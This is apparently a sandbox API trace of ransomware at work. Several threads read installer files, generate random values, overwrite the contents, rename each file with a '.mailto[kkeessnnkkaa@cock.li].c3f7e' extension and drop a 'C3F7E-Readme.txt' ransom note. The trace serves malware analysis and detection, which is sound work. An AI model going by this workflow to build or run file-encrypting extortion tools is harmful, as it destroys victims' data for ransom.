	[0075.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.774] WriteFile (in: hFile=0x99c, lpBuffer=0x48ef090*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9e0fe20, lpOverlapped=0x0 | out: lpBuffer=0x48ef090*, lpNumberOfBytesWritten=0x9e0fe20*=0xc800, lpOverlapped=0x0) returned 1
	[0078.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ef090) returned 1
	[0078.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e2888) returned 1
	[0078.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb660
	[0078.438] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.438] WriteFile (in: hFile=0x99c, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9e0fea0, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x9e0fea0*=0x113, lpOverlapped=0x0) returned 1
	[0078.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0078.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb040) returned 1
	[0078.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb660) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0078.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986128
	[0078.659] wcscpy (in: _Dest=0x4986128, _Source="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml"
	[0078.659] wcscat (in: _Dest=0x4986128, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.659] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9e0fe58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769f68
	[0078.659] NtSetInformationFile (FileHandle=0x99c, IoStatusBlock=0x9e0fe50, FileInformation=0x4769f68, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769f68) returned 1
	[0078.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5ce88) returned 1
	[0078.710] NtQueryInformationFile (in: FileHandle=0x99c, IoStatusBlock=0x9e0fe64, FileInformation=0x9e0fe3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9e0fe64, FileInformation=0x9e0fe3c) returned 0x0
	[0078.710] NtSetInformationFile (FileHandle=0x99c, IoStatusBlock=0x9e0fe64, FileInformation=0x9e0fe3c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0078.711] FlushFileBuffers (hFile=0x99c) returned 1
	[0080.054] CloseHandle (hObject=0x99c) returned 1
	[0080.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.169] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0080.169] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt"
	[0080.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\c3f7e-readme.txt")) returned 0x20
	[0080.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a378) returned 1

Thread:
	id = 192
	os_tid = 0x11d8

	[0075.779] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0075.780] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.780] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9e8fac4 | out: lpFileSize=0x9e8fac4*=3643) returned 1
	[0075.780] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xe37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.780] ReadFile (in: hFile=0x984, lpBuffer=0x9e8fa48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9e8fa44, lpOverlapped=0x0 | out: lpBuffer=0x9e8fa48*, lpNumberOfBytesRead=0x9e8fa44*=0x4, lpOverlapped=0x0) returned 1
	[0075.782] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0075.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.782] NtQuerySystemTime (in: CurrentTime=0x9e8fa24 | out: CurrentTime=0x9e8fa24*=132251868025128174) returned 0x0
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x9452350a
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x942ea6d8
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x659b4ab8
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x4b42a924
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x92b37421
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x93de9610
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xa687b779
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x2adf4ca
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xed4b379f
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x6ee44cba
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x2c0f3606
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x8b96428a
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x5f3668b2
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xefc416cc
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x3840cc45
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xa590504f
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x9d515c20
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xe0c214fd
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xeb0864cd
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x17fbfcdb
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x68d3bc94
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x2aed6d99
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xb8668a39
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x2ef376c0
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x7f0e5b8f
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x67ba41f0
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x99892d46
	[0075.782] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xd50ac390
	[0075.783] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x29c302c5
	[0075.783] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xcd0601ce
	[0075.783] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0x10b892a8
	[0075.783] RtlRandom (in: Seed=0x9e8fa30 | out: Seed=0x9e8fa30) returned 0xadcd9741
	[0075.793] ReadFile (in: hFile=0x984, lpBuffer=0x48fb898, nNumberOfBytesToRead=0xe3b, lpNumberOfBytesRead=0x9e8fa20, lpOverlapped=0x0 | out: lpBuffer=0x48fb898*, lpNumberOfBytesRead=0x9e8fa20*=0xe3b, lpOverlapped=0x0) returned 1
	[0075.793] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.793] WriteFile (in: hFile=0x984, lpBuffer=0x49080a0*, nNumberOfBytesToWrite=0xe3b, lpNumberOfBytesWritten=0x9e8fa1c, lpOverlapped=0x0 | out: lpBuffer=0x49080a0*, lpNumberOfBytesWritten=0x9e8fa1c*=0xe3b, lpOverlapped=0x0) returned 1
	[0075.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49080a0) returned 1
	[0075.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb898) returned 1
	[0075.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781648
	[0075.794] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.795] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9e8fa84, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x9e8fa84*=0x101, lpOverlapped=0x0) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0075.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0075.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0075.796] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1040\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf"
	[0075.796] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9e8fa3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0075.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0075.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0075.799] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9e8fa48, FileInformation=0x9e8fa20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9e8fa48, FileInformation=0x9e8fa20) returned 0x0
	[0075.799] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9e8fa48, FileInformation=0x9e8fa20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.800] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0075.800] FlushFileBuffers (hFile=0x984) returned 1
	[0075.801] CloseHandle (hObject=0x984) returned 1
	[0075.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.801] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0075.801] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt"
	[0075.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.802] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x9e8fa44, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x9e8fa44*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.803] CloseHandle (hObject=0x984) returned 1
	[0075.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47306f0) returned 1

Thread:
	id = 193
	os_tid = 0x11d4

	[0075.794] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0075.794] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a0
	[0075.804] GetFileSizeEx (in: hFile=0x9a0, lpFileSize=0x9f0fb80 | out: lpFileSize=0x9f0fb80*=80060) returned 1
	[0075.804] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x138b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.804] ReadFile (in: hFile=0x9a0, lpBuffer=0x9f0fb04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9f0fb00, lpOverlapped=0x0 | out: lpBuffer=0x9f0fb04*, lpNumberOfBytesRead=0x9f0fb00*=0x4, lpOverlapped=0x0) returned 1
	[0075.805] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0075.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.805] NtQuerySystemTime (in: CurrentTime=0x9f0fae0 | out: CurrentTime=0x9f0fae0*=132251868025440087) returned 0x0
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x916be765
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x381bbb4a
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xd79c5829
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xc94c9fdc
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xd7bc4e2f
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xc15712e4
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x11b2387
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x9154e451
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xda3b80
	[0075.805] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xe437840f
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x9bd4bc25
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xebdf038a
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x7c09bafc
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xa4317d60
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x134d395
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xb8df8df1
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x8aac60dd
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xdf1ddaf1
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x9c933bd0
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xf2cd989f
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xe2e8dffa
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x3822daa5
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x39fdf864
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xb465604
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x9590a589
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xcf50c2d1
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x8ae433e8
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x1c3babe7
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0xf375fdcc
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x94f553c0
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x5c286451
	[0075.806] RtlRandom (in: Seed=0x9f0faec | out: Seed=0x9f0faec) returned 0x2d04d540
	[0075.814] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.814] ReadFile (in: hFile=0x9a0, lpBuffer=0x48fb898, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9f0fac0, lpOverlapped=0x0 | out: lpBuffer=0x48fb898*, lpNumberOfBytesRead=0x9f0fac0*=0xc800, lpOverlapped=0x0) returned 1
	[0075.816] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0075.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0075.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x49080a0
	[0075.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0075.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.817] WriteFile (in: hFile=0x9a0, lpBuffer=0x49080a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9f0fac0, lpOverlapped=0x0 | out: lpBuffer=0x49080a0*, lpNumberOfBytesWritten=0x9f0fac0*=0xc800, lpOverlapped=0x0) returned 1
	[0078.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49080a0) returned 1
	[0078.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb898) returned 1
	[0078.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb200
	[0078.426] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.427] WriteFile (in: hFile=0x9a0, lpBuffer=0x2d88dd8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9f0fb40, lpOverlapped=0x0 | out: lpBuffer=0x2d88dd8*, lpNumberOfBytesWritten=0x9f0fb40*=0x113, lpOverlapped=0x0) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88dd8) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb238) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb200) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0078.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0078.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49869b0
	[0078.666] wcscpy (in: _Dest=0x49869b0, _Source="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml"
	[0078.666] wcscat (in: _Dest=0x49869b0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.666] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9f0faf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a928
	[0078.666] NtSetInformationFile (FileHandle=0x9a0, IoStatusBlock=0x9f0faf0, FileInformation=0x476a928, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a928) returned 1
	[0078.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d618) returned 1
	[0078.722] NtQueryInformationFile (in: FileHandle=0x9a0, IoStatusBlock=0x9f0fb04, FileInformation=0x9f0fadc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9f0fb04, FileInformation=0x9f0fadc) returned 0x0
	[0078.722] NtSetInformationFile (FileHandle=0x9a0, IoStatusBlock=0x9f0fb04, FileInformation=0x9f0fadc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.723] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49869b0) returned 1
